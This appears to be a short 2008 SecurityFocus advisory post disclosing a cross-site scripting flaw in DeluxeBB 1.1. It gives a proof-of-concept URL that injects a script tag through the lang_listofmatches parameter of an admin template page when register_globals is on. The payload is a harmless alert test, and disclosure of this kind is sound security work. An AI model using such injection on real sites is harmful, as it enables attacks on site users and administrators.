DeluxeBB 1.1 XSS Vulnerabilitie Jan 22 2008 05:07PM
nbbn gmx net
########################################################
#Founded: 21, January 2008
#Autor: NBBN
#Type: XSS
#DeluxeBB Version: 1.1
#Register Globals: ON
#Magic Quotes; OFF
########################################################

poc:

http://www.site.tld/path/templates/default/admincp/attachments_header.ph
p?lang_listofmatches=<script>alert("XSS")</script>

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus